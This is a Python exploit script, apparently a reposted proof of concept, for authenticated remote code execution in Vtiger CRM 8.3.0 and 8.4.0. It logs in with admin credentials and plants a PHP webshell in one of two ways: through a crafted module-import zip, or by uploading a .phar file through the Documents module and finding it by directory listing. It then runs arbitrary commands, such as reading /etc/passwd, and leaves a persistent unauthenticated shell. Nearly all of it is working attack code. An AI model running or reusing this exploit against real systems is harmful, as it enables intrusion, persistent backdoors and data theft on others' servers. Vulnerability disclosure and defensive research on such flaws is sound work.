Share
## https://sploitus.com/exploit?id=PACKETSTORM:225477
#!/usr/bin/env python3
    """
    Vtiger CRM Authenticated RCE PoC
    Tested on:  Vtiger CRM 8.3.0, 8.4.0
    Author: jiva (jivasecurity.com)
    
    
    Two exploit modes:
    
      --mode module  (default)
          Module import drops a PHP shell into the web-accessible modules/ directory.
          No file-type validation on extracted contents.
          Works on all vtiger 8.x installs with admin credentials.
          Shell persists at /modules/<NAME>/shell.php (unauthenticated after install).
    
      --mode phar (verifed against 8.3.0)
          Uploads a .phar webshell via the Documents module, then uses the broken
          storage/.htaccess (Apache 2.2 syntax silently ignored on 2.4) and directory
          listing on /storage/ to locate and execute it.
          Works on wizard-installed instances where 'phar' is absent from upload_badext.
    
    Usage:
      python3 Vtiger-8.4.0-RCE-PoC.py --host 192.168.3.9 --port 8080 --cmd id
      python3 Vtiger-8.4.0-RCE-PoC.py --host 192.168.3.9 --mode phar --cmd whoami
      python3 Vtiger-8.4.0-RCE-PoC.py --host 192.168.3.9 -u admin -p admin --cmd 'cat /etc/passwd'
    """
    
    import argparse
    import datetime
    import io
    import random
    import re
    import string
    import sys
    import zipfile
    
    import requests
    
    requests.packages.urllib3.disable_warnings()
    
    
    def get_csrf(session, url):
        resp = session.get(url, verify=False)
        m = re.search(r'csrfMagicToken\s*=\s*["\']([^"\']+)["\']', resp.text)
        if not m:
            m = re.search(r"name=['\"]__vtrftk['\"] value=['\"]([^'\"]+)['\"]", resp.text)
        if not m:
            sys.exit("[!] CSRF token not found")
        return m.group(1)
    
    
    def login(session, base, username, password):
        csrf = get_csrf(session, f"{base}/index.php")
        resp = session.post(
            f"{base}/index.php",
            data={
                "__vtrftk": csrf,
                "module": "Users",
                "action": "Login",
                "username": username,
                "password": password,
            },
            allow_redirects=True,
            verify=False,
        )
        if "logout" not in resp.text.lower():
            sys.exit("[!] Login failed โ€” check credentials")
        print("[+] Authenticated")
    
    
    def exploit_module(session, base, cmd):
        name = "Mod" + "".join(random.choices(string.ascii_uppercase, k=6))
        manifest = f"""<?xml version="1.0"?>
    <module>
      <name>{name}</name>
      <label>{name}</label>
      <parent>Tools</parent>
      <version>1.0</version>
      <type>module</type>
      <dependencies>
        <vtiger_version>8.0.0</vtiger_version>
        <vtiger_max_version>8.5.0</vtiger_max_version>
      </dependencies>
    </module>"""
        lang = f'<?php $languageStrings = array("{name}" => "{name}"); ?>'
        shell = b'<?php system($_GET["cmd"]); ?>'
    
        buf = io.BytesIO()
        with zipfile.ZipFile(buf, "w", zipfile.ZIP_DEFLATED) as zf:
            zf.writestr("manifest.xml", manifest)
            zf.writestr(f"modules/{name}/shell.php", shell)
            zf.writestr(f"languages/en_us/{name}.php", lang)
        buf.seek(0)
    
        csrf = get_csrf(
            session,
            f"{base}/index.php?module=ModuleManager&parent=Settings"
            "&view=ModuleImport&mode=importUserModuleStep1",
        )
    
        # Step 1: Upload the zip (importUserModuleStep2)
        resp = session.post(
            f"{base}/index.php",
            data={
                "__vtrftk": csrf,
                "module": "ModuleManager",
                "moduleAction": "Import",
                "parent": "Settings",
                "view": "ModuleImport",
                "mode": "importUserModuleStep2",
                "acceptDisclaimer": "on",
            },
            files={"moduleZip": (f"{name}.zip", buf, "application/zip")},
            verify=False,
        )
        m = re.search(r'value="(usermodule_\d+\.zip)"', resp.text)
        if not m:
            sys.exit("[!] Module upload failed โ€” check response")
        upload_file = m.group(1)
        print(f"[+] Module uploaded: {upload_file}")
    
        # Step 2: Install (importUserModuleStep3)
        resp = session.post(
            f"{base}/index.php",
            data={
                "__vtrftk": csrf,
                "module": "ModuleManager",
                "parent": "Settings",
                "action": "Basic",
                "mode": "importUserModuleStep3",
                "module_import_file": upload_file,
                "module_import_type": "module",
                "module_import_name": name,
            },
            headers={"X-Requested-With": "XMLHttpRequest"},
            verify=False,
        )
        if '"success":true' not in resp.text:
            sys.exit(f"[!] Module install failed: {resp.text[:300]}")
        print(f"[+] Module installed: {name}")
    
        shell_url = f"{base}/modules/{name}/shell.php"
        out = session.get(shell_url, params={"cmd": cmd}, verify=False).text.strip()
        print(f"[+] Shell (no auth required): {shell_url}?cmd=<command>")
        print(f"\n$ {cmd}")
        print(out)
    
    
    def exploit_phar(session, base, cmd):
        csrf = get_csrf(session, f"{base}/index.php?module=Documents&view=Edit")
    
        resp = session.post(
            f"{base}/index.php",
            data={
                "__vtrftk": csrf,
                "module": "Documents",
                "action": "Save",
                "record": "",
                "notes_title": "report",
                "folderid": "1",
                "assigned_user_id": "1",
                "notecontent": "test",
                "filelocationtype": "I",
                "filestatus": "1",
                "fileversion": "1",
            },
            files={"filename": ("shell.phar", b'<?php system($_GET["cmd"]); ?>', "application/octet-stream")},
            allow_redirects=False,
            verify=False,
        )
        if resp.status_code not in (301, 302):
            print("[!] No redirect after upload โ€” 'phar' may be in the blocklist on this instance")
            print("    Try --mode module instead")
            sys.exit(1)
        print("[+] .phar uploaded")
    
        # Browse directory listing to find the file
        now = datetime.datetime.now()
        week = (now.day - 1) // 7 + 1
        storage_url = f"{base}/storage/{now.year}/{now.strftime('%B')}/week{week}/"
        resp = session.get(storage_url, verify=False)
        m = re.search(r'href="(\d+_[a-f0-9]+\.phar)"', resp.text)
        if not m:
            sys.exit(f"[!] .phar not found in directory listing at {storage_url}\n"
                     f"    Check storage/ manually or try a different week directory")
        shell_url = storage_url + m.group(1)
        print(f"[+] Shell: {shell_url}")
    
        out = session.get(shell_url, params={"cmd": cmd}, verify=False).text.strip()
        print(f"\n$ {cmd}")
        print(out)
    
    
    def main():
        ap = argparse.ArgumentParser(
            description="Vtiger CRM authenticated RCE PoC โ€” ENG-2026-0005",
            formatter_class=argparse.RawDescriptionHelpFormatter,
        )
        ap.add_argument("--host", required=True, help="Target host")
        ap.add_argument("--port", type=int, default=8080, help="Target port (default: 8080)")
        ap.add_argument("-u", "--username", default="admin", help="Username (default: admin)")
        ap.add_argument("-p", "--password", default="admin", help="Password (default: admin)")
        ap.add_argument(
            "--mode",
            choices=["module", "phar"],
            default="module",
            help="module: module import RCE, all installs (default); "
                 "phar: .phar upload, wizard-installed only",
        )
        ap.add_argument("--cmd", default="id", help="Command to execute (default: id)")
        args = ap.parse_args()
    
        base = f"http://{args.host}:{args.port}"
        session = requests.Session()
        session.headers["User-Agent"] = "Mozilla/5.0"
    
        print(f"[*] Target: {base}  mode={args.mode}")
        login(session, base, args.username, args.password)
    
        if args.mode == "module":
            exploit_module(session, base, args.cmd)
        else:
            exploit_phar(session, base, args.cmd)
    
    
    if __name__ == "__main__":
        main()